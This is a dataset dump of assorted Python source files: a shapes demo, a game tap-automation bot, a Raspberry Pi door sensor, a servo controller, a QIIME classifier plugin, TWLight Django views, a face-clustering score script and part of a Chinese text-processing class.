circles.area()\n\tprint(\"Area of circle is: \" + str(area) )\n\tprint()\n\tprint(\"About Rectangle\")\n\trect = rectangle(10, 20)\n\trect.sides(\"4\")\n\trect.draw()\n\tarea = rect.area()\n\tprint(\"Area of Rectangle is: \" + str(area) )\n\tprint()\n\tprint(\"About Square\")\n\tsqu = square(20)\n\tsqu.sides(\"4\")\n\tsqu.draw()\n\tarea = squ.area()\n\tprint(\"Area of Square is: \" + str(area) )\n\tprint()\n\tprint(\"About Traingle\")\n\ttri = triangle(5, 7)\n\ttri.sides(\"3\")\n\ttri.draw()\n\tarea = tri.area()\n\tprint(\"Area of Triangle is: \" + str(area) )\n\tprint()\n\tprint(\"About Pentagon\")\n\tpent = pentagon(5, 3)\n\tpent.sides(\"5\")\n\tpent.draw()\n\tarea = pent.area()\n\tprint(\"Area of Pentagon is: \" + str(area) )\n\tprint()\n\tprint(\"About Parallelogram\")\n\tpara = parallelogram(5, 6)\n\tpara.sides(\"4\")\n\tpara.draw()\n\tarea = para.area()\n\tprint(\"Area of Parallelogram is: \" + str(area) )\n\tprint()\n\tprint(\"About Hexagon\")\n\thexa = hexagon(5)\n\thexa.sides(\"6\")\n\thexa.draw()\n\tarea = hexa.area()\n\tprint(\"Area of Hexagon is: \" + str(area) )\n\tprint()\n\tprint(\"About Ellipse\")\n\tell = ellipse(20, 30)\n\tell.sides()\n\tell.draw()\n\tarea = ell.area()\n\tprint(\"Area of Ellipse is: \" + str(area) )\n\tprint()\n\tprint(\"About Heptagon\")\n\tcyl = heptagon(10)\n\tcyl.sides(\"7\")\n\tcyl.draw()\n\tarea = cyl.area()\n\tprint(\"Area of Heptagon is: \" + str(area) )\n\tprint()\n\tprint(\"About Rhombus\")\n\trhom = rhombus(20, 30)\n\trhom.sides(\"4\")\n\trhom.draw()\n\tarea = rhom.area()\n\tprint(\"Area of Rhombus is: \" + str(area) )\n\n\nif __name__ == \"__main__\":\n\tmain()\n","sub_path":"Classes2/shapes2.py","file_name":"shapes2.py","file_ext":"py","file_size_in_byte":6215,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"349595500","text":"from gacha_elper.elper import Elper as Elp\nfrom gacha_elper.elper import Coordinate as Coord\n\nbuttons = {\n \"home1\": Coord(215, 30),\n \"home2\": Coord(73, 230),\n \"back\": Coord(70, 35),\n \"combat_skadi\": Coord(927, 255),\n \"operation_map\": Coord(766, 385),\n \"gt_5\": Coord(682, 376),\n \"gt_6\": Coord(774, 282),\n \"auto_deploy\": Coord(919, 616),\n \"start_battle1\": Coord(913, 666),\n \"start_battle2\": Coord(888, 475),\n}\n\n\ndef start():\n elp = Elp(find_path=\"./assets\")\n if not elp.find(\"combat.png\"):\n print(\"going home\")\n elp.tap(buttons[\"home1\"])\n elp.tap(buttons[\"home2\"])\n elp.tap(buttons[\"combat_skadi\"])\n elp.wait(1.5)\n elp.tap(buttons[\"operation_map\"])\n gt_5 = True\n gt_5_count = 0\n try:\n while True:\n current_map = buttons[\"gt_5\"] if gt_5 else buttons[\"gt_6\"]\n elp.tap(current_map)\n if not elp.find(\"auto_enabled.png\"):\n elp.tap(buttons[\"auto_deploy\"])\n elp.tap(buttons[\"start_battle1\"], 2.5)\n elp.tap(buttons[\"start_battle2\"])\n elp.wait(35)\n elp.wait_until_find(\"trust.png\")\n elp.tap(Coord(512, 512))\n elp.wait(7.5)\n elp.tap(buttons[\"back\"])\n if gt_5:\n gt_5_count += 1\n if gt_5 and gt_5_count == 2:\n gt_5 = not gt_5\n gt_5_count = 0\n elif not gt_5:\n gt_5 = not gt_5\n except KeyboardInterrupt:\n print(\"done.\")\n\n\nif __name__ == \"__main__\":\n start()\n","sub_path":"examples/skadi_elper.py","file_name":"skadi_elper.py","file_ext":"py","file_size_in_byte":1555,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"346770738","text":"import spidev\nimport RPi.GPIO as GPIO\nimport time\n\n\nclass DoorSensor:\n def __init__(self, pin = None, verbose = False, dblogger = None):\n self.results = ()\n self.device = None\n self.pin = pin\n self.dblogger = dblogger\n self.verbose = verbose\n\n # assign default pin if none provided\n if self.pin == None:\n self.pin = 12\n\n GPIO.setmode(GPIO.BOARD)\n GPIO.setup(self.pin, GPIO.IN, pull_up_down=GPIO.PUD_UP)\n\n self.device = GPIO\n self.name = \"Door\"\n\n def getName(self):\n return self.name\n\n def door_event(self, open):\n evt = 'opened' if open else 'closed'\n self.results = (evt,)\n\n if open:\n if self.verbose: print('door ' + evt)\n else:\n if self.verbose: print('door ' + evt)\n\n time.sleep(0.5)\n\n # log in DB if logger present\n if self.dblogger is not None:\n self.logLastReading(self.dblogger)\n\n def waitForEvents(self):\n d = self.device\n pin = self.pin\n switch = True\n\n while True:\n if d.input(pin): # if door is opened\n if (switch):\n self.door_event(True) # send door open event\n switch = False # make sure it doesn't fire again\n if not d.input(pin): # if door is closed\n if not (switch):\n self.door_event(False) # send door closed event\n switch = True # make sure it doesn't fire again\n\n def logLastReading(self, dblogger):\n cursor = dblogger.cursor\n conn = dblogger.conn\n loc = dblogger.location\n tstamp = int(round(time.time() * 1000))\n cmd = \"INSERT INTO Door (timestamp, location, door_status) VALUES (%s, %s, %s);\"\n cursor.execute(cmd, (tstamp, loc, self.results[0]))\n conn.commit()\n\n def getLastReading(self):\n return self.results\n\n def cleanUp(self):\n GPIO.cleanup()\n\nif __name__ == '__main__':\n # initialize different sensors\n vbose = True\n from ..DBLogger import DBLogger\n dbl = DBLogger()\n ds = DoorSensor(dblogger=dbl, verbose=vbose)\n\n # Listen to events\n try:\n ds.waitForEvents()\n except KeyboardInterrupt:\n if vbose: print(\"finishing.\")\n finally:\n ds.cleanUp()\n","sub_path":"SensorDataCollection/Sensors/Asynchronous/DoorSensor.py","file_name":"DoorSensor.py","file_ext":"py","file_size_in_byte":2071,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"132988787","text":"from plotter_dyna import plotter\nimport time\nimport os\nimport datetime\n\nlog_file = \"dyna_log\"\n\n# from numpy import *\n\n# a1 = 6.2 # length of link a1 in cm\n# a2 = 5.2 # length of link a2 in cm\n# a3 = 0 # length of link a3 in cm\n# a4 = 7 # length of link a4 in cm\n\n# # Desired Position of End effector\n# x = -7\n# y = 9\n\n# # Equations for Inverse kinematics\n# r1 = sqrt(x**2+y**2) # eqn 1\n# phi_1 = arccos((a4**2-a2**2-r1**2)/(-2*a2*r1)) # eqn 2\n# phi_2 = arctan2(y, x) # eqn 3\n# theta_1 = rad2deg(phi_2-phi_1) # eqn 4 converted to degrees\n\n# phi_3 = arccos((r1**2-a2**2-a4**2)/(-2*a2*a4))\n# theta_2 = 180-rad2deg(phi_3)\n\n# print('theta one: ', theta_1)\n# print('theta two: ', theta_2)\n\nif os.name == 'nt':\n import msvcrt\n def getch():\n return msvcrt.getch().decode()\nelse:\n import sys, tty, termios\n fd = sys.stdin.fileno()\n old_settings = termios.tcgetattr(fd)\n def getch():\n try:\n tty.setraw(sys.stdin.fileno())\n ch = sys.stdin.read(1)\n finally:\n termios.tcsetattr(fd, termios.TCSADRAIN, old_settings)\n return ch\n\nfrom dynamixel_sdk import * # Uses Dynamixel SDK library\n\n# Control table address\n#r1 dynamixel\nADDR_RX_TORQUE_ENABLE = 24 \nADDR_RX_GOAL_POSITION = 30\nADDR_RX_PRESENT_POSITION = 36\nADDR_RX_PRESENT_TEMPERATURE = 43\nADDR_RX_PRESENT_LOAD = 40\n#r2 dynamixel\nADDR_RX_TORQUE_ENABLE_2 = 24 \nADDR_RX_GOAL_POSITION_2 = 30\nADDR_RX_PRESENT_POSITION_2 = 36\nADDR_RX_PRESENT_TEMPERATURE_2 = 43\nADDR_RX_PRESENT_LOAD_2 = 40\n\n# Protocol version\nPROTOCOL_VERSION = 1.0 # See which protocol version is used in the Dynamixel\n\n# Default setting\nDXL_ID = 1 \nDXL_ID_2 = 2 # Dynamixel ID : 1\nBAUDRATE = 1000000 # Dynamixel default baudrate : 57600\nDEVICENAME = 'COM21' # Check which port is being used on your controller\n # ex) Windows: \"COM1\" Linux: \"/dev/ttyUSB0\" Mac: \"/dev/tty.usbserial-*\"\n\nTORQUE_ENABLE = 1 # Value for enabling the torque\nTORQUE_DISABLE = 0 # Value for disabling the torque\nDXL_MINIMUM_POSITION_VALUE = 10 # Dynamixel will rotate between this value\nDXL_MAXIMUM_POSITION_VALUE = 1023 # and this value (note that the Dynamixel would not move when the position value is out of movable range. Check e-manual about the range of the Dynamixel you use.)\nDXL_MOVING_STATUS_THRESHOLD = 10 # Dynamixel moving status threshold\n\nportHandler = PortHandler(DEVICENAME)\n\nmyDynamixel = PacketHandler(PROTOCOL_VERSION)\n\n# Open port\nif portHandler.openPort():\n print(\"Succeeded to open the port\")\nelse:\n print(\"Failed to open the port\")\n print(\"Press any key to terminate...\")\n getch()\n quit()\n\n\n# Set port baudrate\nif portHandler.setBaudRate(BAUDRATE):\n print(\"Succeeded to change the baudrate\")\nelse:\n print(\"Failed to change the baudrate\")\n print(\"Press any key to terminate...\")\n getch()\n quit()\n\n# Enable Dynamixel Torque\ndxl_comm_result, dxl_error = myDynamixel.write1ByteTxRx(portHandler, DXL_ID, ADDR_RX_TORQUE_ENABLE, TORQUE_ENABLE)\ndxl_comm_result, dxl_error = myDynamixel.write1ByteTxRx(portHandler, DXL_ID_2, ADDR_RX_TORQUE_ENABLE_2, TORQUE_ENABLE)\nif dxl_comm_result != COMM_SUCCESS:\n print(\"%s\" % myDynamixel.getTxRxResult(dxl_comm_result))\nelif dxl_error != 0:\n print(\"%s\" % myDynamixel.getRxPacketError(dxl_error))\nelse:\n print(\"Dynamixel has been successfully connected\")\n\n\nlogger = open(\"{}.txt\".format(log_file),'w')\nt= datetime.datetime.now()\n\nshow = plotter()\nx=20\nwhile 1:\n if x>= 20:\n command = input('Goal Position (557-639/250-762) >>> ')\n if command == 'exit':\n print ('Closing program ...')\n logger.close()\n break\n goal_pos = int(command.split('/')[0])\n goal_pos_2 = int(command.split('/')[1])\n print ('Moving to theta 1 = {} and theta 2 ={}'.format(goal_pos,goal_pos_2))\n # x=0\n # Write goal position\n dxl_comm_result, dxl_error = myDynamixel.write4ByteTxRx(portHandler, DXL_ID, ADDR_RX_GOAL_POSITION, goal_pos)\n dxl_comm_result_2, dxl_error_2 = myDynamixel.write4ByteTxRx(portHandler, DXL_ID_2, ADDR_RX_GOAL_POSITION_2, goal_pos_2)\n while 1:\n # Read present position\n dxl_present_position, dxl_comm_result, dxl_error = myDynamixel.read2ByteTxRx(portHandler, DXL_ID, ADDR_RX_PRESENT_POSITION)\n dxl_present_load, dxl_comm_result2, dxl_error2 = myDynamixel.read2ByteTxRx(portHandler, DXL_ID, ADDR_RX_PRESENT_LOAD)\n dxl_present_position_2, dxl_comm_result_2, dxl_error_2 = myDynamixel.read2ByteTxRx(portHandler, DXL_ID_2, ADDR_RX_PRESENT_POSITION_2)\n dxl_present_load_2, dxl_comm_result2_2, dxl_error2_2 = myDynamixel.read2ByteTxRx(portHandler, DXL_ID_2, ADDR_RX_PRESENT_LOAD_2)\n if dxl_comm_result != COMM_SUCCESS:\n print(\"%s\" % myDynamixel.getTxRxResult(dxl_comm_result))\n elif dxl_error != 0:\n print(\"%s\" % myDynamixel.getRxPacketError(dxl_error))\n\n if dxl_present_load < 1024:\n dxl_present_load = 1024 - dxl_present_load\n if dxl_present_load_2 < 1024:\n dxl_present_load_2 = 1024 - dxl_present_load_2\n # print(\"[ID:%03d] GoalPos:%03d PresPos:%03d Load:%03d\" % (DXL_ID, goal_pos, dxl_present_position, dxl_present_load))\n # show.runPlotter(dxl_present_position, dxl_present_load)\n \n logger.write('{},{},{},{},{},{},{}\\n'.format(t,goal_pos,dxl_present_position,dxl_present_load,goal_pos_2,dxl_present_position_2,dxl_present_load_2))\n\n if not ((abs(goal_pos- dxl_present_position) > DXL_MOVING_STATUS_THRESHOLD) and (abs(goal_pos_2- dxl_present_position_2) > DXL_MOVING_STATUS_THRESHOLD)):\n # print ('\\n')\n # x+=1.5\n print ('Done! ')\n break\n\n\n\n\n","sub_path":"dyna_monitor.py","file_name":"dyna_monitor.py","file_ext":"py","file_size_in_byte":6053,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"443833272","text":"# ----------------------------------------------------------------------------\n# Copyright (c) 2016--, QIIME development team.\n#\n# Distributed under the terms of the Modified BSD License.\n#\n# The full license is in the file LICENSE, distributed with this software.\n# ----------------------------------------------------------------------------\n\nimport json\nimport tarfile\nimport os\n\nfrom sklearn.externals import joblib\nimport qiime.plugin\nimport qiime.plugin.model as model\n\nfrom .plugin_setup import plugin\n\n\n# Semantic Types\nTaxonomicClassifier = qiime.plugin.SemanticType('TaxonomicClassifier')\n\n\n# Formats\nclass PickleFormat(model.BinaryFileFormat):\n def sniff(self):\n return tarfile.is_tarfile(str(self))\n\n\n# https://github.com/qiime2/q2-types/issues/49\nclass JSONFormat(model.TextFileFormat):\n def sniff(self):\n with self.open() as fh:\n try:\n json.load(fh)\n return True\n except json.JSONDecodeError:\n pass\n return False\n\n\nclass TaxonomicClassifierDirFmt(model.DirectoryFormat):\n preprocess_params = model.File('preprocess_params.json', format=JSONFormat)\n sklearn_pipeline = model.File('sklearn_pipeline.tar', format=PickleFormat)\n\n\n# Transformers\n@plugin.register_transformer\ndef _1(dirfmt: TaxonomicClassifierDirFmt) -> dict:\n # Note: the next two lines will likely disappear when cleanup of the\n # views/transformers API takes place.\n preprocess_params = dirfmt.preprocess_params.view(JSONFormat)\n sklearn_pipeline = dirfmt.sklearn_pipeline.view(PickleFormat)\n\n with preprocess_params.open() as fh:\n params = json.load(fh)\n\n with tarfile.open(str(sklearn_pipeline)) as tar:\n dirname = os.path.dirname(str(sklearn_pipeline))\n tar.extractall(dirname)\n pipeline = joblib.load(os.path.join(dirname, 'sklearn_pipeline.pkl'))\n for fn in tar.getnames():\n os.unlink(os.path.join(dirname, fn))\n\n return {'params': params, 'pipeline': pipeline}\n\n\n@plugin.register_transformer\ndef _2(data: dict) -> TaxonomicClassifierDirFmt:\n if 'params' not in data:\n raise ValueError('classifier does not contain params')\n if 'pipeline' not in data:\n raise ValueError('classifier does not contain pipeline')\n\n preprocess_params = JSONFormat()\n with preprocess_params.open() as fh:\n json.dump(data['params'], fh)\n\n sklearn_pipeline = PickleFormat()\n with tarfile.open(str(sklearn_pipeline), 'w') as tar:\n pf = os.path.join(os.path.dirname(str(sklearn_pipeline)),\n 'sklearn_pipeline.pkl')\n for fn in joblib.dump(data['pipeline'], pf):\n tar.add(fn, os.path.basename(fn))\n os.unlink(fn)\n\n dirfmt = TaxonomicClassifierDirFmt()\n dirfmt.preprocess_params.write_data(preprocess_params, JSONFormat)\n dirfmt.sklearn_pipeline.write_data(sklearn_pipeline, PickleFormat)\n\n return dirfmt\n\n# Registrations\nplugin.register_semantic_types(TaxonomicClassifier)\nplugin.register_formats(PickleFormat, JSONFormat, TaxonomicClassifierDirFmt)\nplugin.register_semantic_type_to_format(\n TaxonomicClassifier, artifact_format=TaxonomicClassifierDirFmt)\n","sub_path":"q2_feature_classifier/_taxonomic_classifier.py","file_name":"_taxonomic_classifier.py","file_ext":"py","file_size_in_byte":3193,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"327019016","text":"# -*- coding: utf-8 -*-\nimport json\n\nfrom django.urls import reverse_lazy\nfrom django.views.generic import TemplateView\nfrom django.views import View\nfrom django.conf import settings\nfrom django.http import HttpResponse\nfrom django.utils.translation import gettext_lazy as _\n\nfrom TWLight.applications.models import Application\nfrom TWLight.resources.models import Partner\nfrom TWLight.users.models import Editor\n\nimport logging\n\nlogger = logging.getLogger(__name__)\n\n\nclass LanguageWhiteListView(View):\n \"\"\"\n JSON dump of current intersection between CLDR and Django languages.\n For translatewiki.net. Cache set via decorator in urls.py.\n \"\"\"\n\n def get(self, request):\n whitelist_dict = {}\n for i, (lang_code, autonym) in enumerate(settings.INTERSECTIONAL_LANGUAGES):\n whitelist_dict[lang_code] = autonym\n\n whitelist_json = json.dumps(\n whitelist_dict, ensure_ascii=False, sort_keys=True, indent=4\n )\n return HttpResponse(whitelist_json, content_type=\"application/json\")\n\n\nclass HomePageView(TemplateView):\n\n template_name = \"home.html\"\n\n def get_context_data(self, **kwargs):\n context = super(HomePageView, self).get_context_data(**kwargs)\n\n # Library bundle requirements\n # -----------------------------------------------------\n\n # We bundle these up into a list so that we can loop them and have a simpler time\n # setting the relevant CSS.\n if self.request.user.is_authenticated:\n editor = self.request.user.editor\n sufficient_edits = editor.wp_enough_edits\n sufficient_tenure = editor.wp_account_old_enough\n sufficient_recent_edits = editor.wp_enough_recent_edits\n not_blocked = editor.wp_not_blocked\n else:\n sufficient_edits = False\n sufficient_tenure = False\n sufficient_recent_edits = False\n not_blocked = False\n\n context[\"bundle_criteria\"] = [\n # Translators: This text is shown next to a tick or cross denoting whether the current user has made more than 500 edits from their Wikimedia account.\n (_(\"500+ edits\"), sufficient_edits),\n # Translators: This text is shown next to a tick or cross denoting whether the current user has Wikimedia account that is at least 6 months old.\n (_(\"6+ months editing\"), sufficient_tenure),\n # Translators: This text is shown next to a tick or cross denoting whether the current user has made more than 10 edits within the last month (30 days) from their Wikimedia account.\n (_(\"10+ edits in the last month\"), sufficient_recent_edits),\n # Translators: This text is shown next to a tick or cross denoting whether the current user's Wikimedia account has been blocked on any project.\n (_(\"No active blocks\"), not_blocked),\n ]\n\n # Partner count\n # -----------------------------------------------------\n\n context[\"partner_count\"] = Partner.objects.all().count()\n context[\"bundle_partner_count\"] = Partner.objects.filter(\n authorization_method=Partner.BUNDLE\n ).count()\n\n # Apply section\n # -----------------------------------------------------\n\n context[\"featured_partners\"] = Partner.objects.filter(featured=True)[:3]\n\n return context\n","sub_path":"TWLight/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3378,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"35662410","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Mar 21 21:55:56 2018\r\n\r\n@author: Mathieu Daviet\r\n\"\"\"\r\n\r\nfrom utils import *\r\nfrom sklearn.cluster import KMeans\r\nfrom collections import Counter\r\n\r\nX_people = get_saved_features(\"FaceRecongition_feature/Means/X_people\")\r\nX_tracks = get_saved_features(\"FaceRecongition_feature/Means/X_tracks\")\r\n\r\ny_people = get_saved_features(\"FaceRecongition_feature/Means/y_people\")\r\ny_tracks = get_saved_features(\"FaceRecongition_feature/Means/y_train_tracks_means.pkl\")\r\n\r\n\r\n\r\n\r\n[X_test, X_train, y_test, y_train, list_movie_test] = split_dataset(X_tracks, y_tracks, 0.4) \r\n\r\nlist_Tracks_test = get_list_tracks(y_test)\r\ntest_tracks_length = len(list_Tracks_test)\r\n\r\nscoretot = 0\r\nitera = 1\r\n\r\nfor idmovie in list_movie_test:\r\n print(\"of\")\r\n list_tracks_movie = get_list_tracks_by_movie(idmovie, y_test)\r\n X_kmeans = []\r\n y_kmeans = []\r\n for index in list_tracks_movie:\r\n X_kmeans.append(X_test[index])\r\n y_kmeans.append(y_test[index])\r\n\r\n continuer = True\r\n nbclusturs = int(len(y_kmeans)/2)\r\n\r\n kmeans = KMeans(n_clusters=nbclusturs, random_state=0)\r\n kmeans.fit(X_kmeans)\r\n for k in range(nbclusturs):\r\n votes = []\r\n for i in range(len(y_kmeans)):\r\n if kmeans.labels_[i] == k:\r\n votes.append(get_closest_people(y_kmeans[i][1], X_test, y_test, X_train, y_train, X_people, y_people))\r\n c = max(Counter(votes), key=Counter(votes).get)\r\n\r\n for i in range(len(y_kmeans)):\r\n if kmeans.labels_[i] == k:\r\n right_person = get_people_from_track(y_kmeans[i][1], y_test)\r\n if int(c) == int(right_person):\r\n scoretot +=1\r\n\r\n \r\nscore = scoretot/test_tracks_length\r\nprint(score)\r\n#0.7887","sub_path":"Model/get_score.py","file_name":"get_score.py","file_ext":"py","file_size_in_byte":1767,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"144957003","text":"# -*- coding: utf-8 -*-\n# 对文件进行预处理\nimport re\nfrom textrank4zh import TextRank4Keyword, TextRank4Sentence\nfrom readability import Document\nimport html2text\n\nfrom harvesttext.resources import get_qh_typed_words,get_baidu_stopwords\nfrom harvesttext import loadHT,saveHT\nfrom harvesttext import HarvestText\nfrom tqdm import tqdm\nimport hashlib\n\nfrom fuzzywuzzy import fuzz\n# from fuzzywuzzy import process\n\n\nimport jieba.analyse\n\nclass Text:\n \"\"\"\n 文本处理函数\n\n\n\n \"\"\"\n def __init__(self,ht_model=None):\n self.ht_model=ht_model\n\n pass\n def md5(self,string):\n # 对要加密的字符串进行指定编码\n string = string.encode(encoding ='UTF-8')\n # md5加密\n # print(hashlib.md5(string))\n # 将md5 加密结果转字符串显示\n string = hashlib.md5(string).hexdigest()\n # print(string)\n return string\n def auto_find(self, stringA, stringB,ftype='start'):\n \"\"\"\n 自动搜索开始或者结尾\n ftype='start' 或者end\n \"\"\"\n\n\n for i in range(0,len(stringB)):\n # print('i',i)\n \n if ftype=='start':\n f_r=1\n if len(stringB)-i==1:\n # print(\"取值\",0)\n find_w=stringB[0]\n else:\n # print(\"取值\",(1*(f_r-1),len(stringB)-i-1)*f_r)\n find_w=stringB[1*(f_r-1):(len(stringB)-i)*f_r]\n n=stringA.find(find_w)\n # print('find_w',find_w)\n else:\n f_r=-1\n \n # print('stringB[f_r]',stringB[f_r])\n if len(stringB)-i==1:\n # print(\"取值\",-1)\n find_w=stringB[-1]\n else:\n # print(\"取值\",((len(stringB)-i)*f_r,1*(f_r)))\n find_w=stringB[(len(stringB)-i)*f_r::]\n # print('stringB[f_r]',stringB[f_r])\n # print('find_w',find_w)\n\n n=stringA.find(find_w)\n # print('n',n)\n \n if n!=-1:\n pass\n # # print(find_w)\n if ftype=='start':\n # print(\"开始结束\")\n return n\n else:\n return n+len(find_w) #预测结尾时候加上词长度\n \n \n \n\n def find_match(self,a,b):\n \"\"\"\n 搜索一个相似的文本\n 从a中搜索b\n \"\"\" \n print(b)\n find_b=a.find(b)\n if find_b==-1:\n start=self.auto_find(a,b,'start')\n # exit()\n end=self.auto_find(a,b,'end')\n if start !=None and end !=None:\n c=a[start:end]\n f=fuzz.partial_ratio(b,c)\n # print(f)\n return c,f\n else: \n c=a[find_b:find_b+len(b)]\n # print(c)\n # print(find_b)\n # print(len(b))\n # f=fuzz.partial_ratio(c,b)\n # print(f)\n # if f==100:\n return c,100\n\n\n # # f=fuzz.partial_ratio(a,b)\n # start=a.find(b[1:3])\n # end=a.find(b[-3:-1])\n # c=a[start:end]\n # f=fuzz.partial_ratio(c,b)\n # # print(f)\n # return c,f\n\n # a=\"嘉朵能够帮助或带领丹恩·萧完成许多事,如逛商店;牠在完成一天的工作后便待在马厩里\"\n # b=\"帮助或带领丹恩\"\n # c=find_match(a,b)\n # print(c)\n def load_ht(self,ht_model=None):\n \"\"\"\n 加载模型\n\n \"\"\"\n if ht_model== None:\n pass\n else:\n self.ht_model=ht_model\n if self.ht_model == None:\n self.ht = HarvestText() \n else:\n self.ht = loadHT(self.ht_model)\n\n def save_ht(self,ht_model=None):\n \"\"\"\n 保存模型\n >>> \n \"\"\"\n \n # self.ht.add_new_words(new_words)\n\n if ht_model== None:\n pass\n # print(\"模型保存\",self.ht_model)\n else:\n self.ht_model=ht_model\n saveHT(self.ht,self.ht_model)\n print(\"模型保存\",self.ht_model) \n \n # for span, entity in t.ht.entity_linking(text):\n # \tprint(span, entity)\n def named_entity_recognition(self,text):\n \"\"\"\n 识别文字中的实体\n \"\"\"\n self.clear(text)\n entity_type_dict={}\n for word,tag0 in self.ht.posseg(text):\n # 三种前缀代表:人名(nr),地名(ns),机构名(nt)\n # print(x)\n # tag0 = str(x.nature)\n # print(word,tag0)\n if tag0.startswith(\"nr\"):\n entity_type_dict[word] = \"人名\"\n elif tag0.startswith(\"ns\"):\n entity_type_dict[word] = \"地名\"\n elif tag0.startswith(\"nt\"):\n entity_type_dict[word] = \"机构名\"\n elif tag0.startswith(\"nz\"):\n entity_type_dict[word] = \"其他专名\"\n elif tag0.startswith(\"动物\"):\n entity_type_dict[word] = \"动物\"\n \n # print(entity_type_dict)\n return entity_type_dict\n def typed_words(self,ht_model=None):\n \"\"\"\n 添加类型词\n >>> add_words(new_words,path)\n \"\"\"\n # print(\"进行新词发现\")\n # max_len=10000\n typed_words, stopwords = get_qh_typed_words(), get_baidu_stopwords()\n self.ht.add_typed_words(typed_words)\n # self.ht.add_new_words(new_words)\n self.save_ht(ht_model) \n def add_entity(self,words,ht_model=None):\n \"\"\"\n 添加类型词\n words=[(\"词语\",'类型')]\n \"\"\"\n for word,type0 in words:\n tt.ht.add_new_entity(word, type0=type0) # 作为特定类型登录\n self.save_ht(ht_model)\n def add_words(self,new_words=[],ht_model=None):\n \"\"\"\n 添加新词\n >>> add_words(new_words,path)\n \"\"\"\n # print(\"进行新词发现\")\n # max_len=10000\n # typed_words, stopwords = get_qh_typed_words(), get_baidu_stopwords()\n # self.ht.add_typed_words(typed_words)\n self.ht.add_new_words(new_words)\n self.save_ht(ht_model)\n \n # def add_typed_words(self,new_words=[],ht_model=None):\n # \"\"\"\n # 添加新词\n # >>> add_words(new_words,path)\n # \"\"\"\n \n # # self.ht.add_new_words(new_words)\n\n # # if ht_model== None:\n # # pass\n # # # print(\"模型保存\",self.ht_model)\n # # else:\n # # self.ht_model=ht_model\n # # saveHT(self.ht,self.ht_model)\n # # print(\"模型保存\",self.ht_model) \n \n def find_new_words(self,text):\n \"\"\"\n 新词发现函数\n\n\n >>> find_new_words(text,path)\n \"\"\"\n print(\"进行新词发现\")\n max_len=10000\n typed_words, stopwords = get_qh_typed_words(), get_baidu_stopwords()\n self.ht.add_typed_words(typed_words)\n #返回关于新词质量的一系列信息,允许手工改进筛选(pd.DataFrame型)\n for i in tqdm(range(len(text)//max_len+1)):\n #截取内容\n # one.append(text[i*max_len:(i+1)*max_len]+\"\")\n b=text[i*max_len:(i+1)*max_len]\n if len(b)>10:\n new_words_info=self.ht.word_discover(b)\n new_words=new_words_info.index.tolist()\n # print(new_words)\n print(\"新词数量\",len(new_words))\n words=self.ht.seg(b)\n for word in new_words:\n if word in words:\n new_words.remove(word)\n print(new_words)\n print(\"去重复后数量\",len(new_words)) \n self.ht.add_new_words(new_words)\n saveHT(self.ht,self.ht_model)\n # # new_words_info = self.ht.word_discover(text)\n # #new_words_info = ht.word_discover(para, threshold_seeds=[\"武磊\"]) \n # new_words = new_words_info.index.tolist()\n # # print(new_words)\n # print(\"新词数量\",len(new_words))\n saveHT(self.ht,self.ht_model)\n print(\"模型保存\",self.ht_model)\n # 遍历目录文件夹\n def sentence_segmentation_v1(self,para):\n \"\"\"分句函数\n 进行精细中文分句(基于正则表达式)\n\n >>> sentence_segmentation_v1(text)\n\n \"\"\"\n para = re.sub('([。!?\\?])([^”’])', r\"\\1\\n\\2\", para) # 单字符断句符\n para = re.sub('(\\.{6})([^”’])', r\"\\1\\n\\2\", para) # 英文省略号\n para = re.sub('(\\…{2})([^”’])', r\"\\1\\n\\2\", para) # 中文省略号\n para = re.sub('([。!?\\?][”’])([^,。!?\\?])', r'\\1\\n\\2', para)\n # 如果双引号前有终止符,那么双引号才是句子的终点,把分句符\\n放到双引号后,注意前面的几句都小心保留了双引号\n para = para.rstrip() # 段尾如果有多余的\\n就去掉它\n # 很多规则中会考虑分号;,但是这里我把它忽略不计,破折号、英文双引号等同样忽略,需要的再做些简单调整即可。\n seg=para.split(\"\\n\")\n\n while '' in seg:\n seg.remove('')\n return seg\n\n def sentence_segmentation(self, text):\n \"\"\"\n 句子分割函数\n\n 包括 (。|!|\\!|\\.|?|\\?)\n\n >>> sentence_segmentation(\"这里似乎内.容不给\")\n >>> ['法院经审理查明,被告人陈淑惠在担任银川市兴庆区委副书记、区长,灵武市委副书记、代市长、市长期间,利用职务上的便利,在工程款拨付、项目审批等方面为他人谋取利益,先后非法收受他人财物折合人民币546万余元、英镑2万元、美元3万元', '法院认为,被告���陈淑惠身为国家工作人员,利用职务之便,为他人谋取利益,非法收受他人财物数额特别巨大,其行为已构成受贿罪', '陈淑惠到案后,如实交代了监察机关尚未掌握的其他绝大部分受贿犯罪事实', '在案发前,陈淑惠主动向部分行贿人退赃158万元,案发后积极退缴剩余全部赃款', '在检察机关审查起诉及法院审理期间,陈淑惠认罪认罚,确有悔罪表现,应当从轻处罚', '综上,法院以被告人陈淑惠犯受贿罪判处其有期徒刑10年,并处罚金人民币60万元,受贿违法所得财物依法予以没收,上缴国库', '据公开简历,陈淑惠出生于1963年5月,2009年11月至2012年5月,曾任灵武市市长', '2018年10月,陈淑惠被查', '“政事儿”注意到,陈淑惠曾经的搭档市委书记李建军于今年5月被宣布调查', '李建军也是陈淑惠的前任灵武市长', '2009年1月至2009年11月,李建军任职了10个月的灵武市长就升任市委书记,接任灵武市长的正是陈淑惠,此后两人党政班子搭档了两年时间']\n\n\n \"\"\"\n #sentences = re.split('(。|!|\\!|\\.|?|\\?|\\:|\\:|\\?)',string)\n #分句函数\n tr4w = TextRank4Keyword()\n\n tr4w.analyze(text=text, lower=True, window=2)\n return tr4w.sentences\n # sentences = re.split('(。|!|\\!|\\.|?|\\?)',string) # 保留分割符\n\n # new_sents = []\n # for i in range(int(len(sentences)/2)):\n # sent = sentences[2*i] + sentences[2*i+1]\n # new_sents.append(sent)\n\n # return new_sents\n def participle(self, text,dotype='words_no_filter'):\n \"\"\"\n 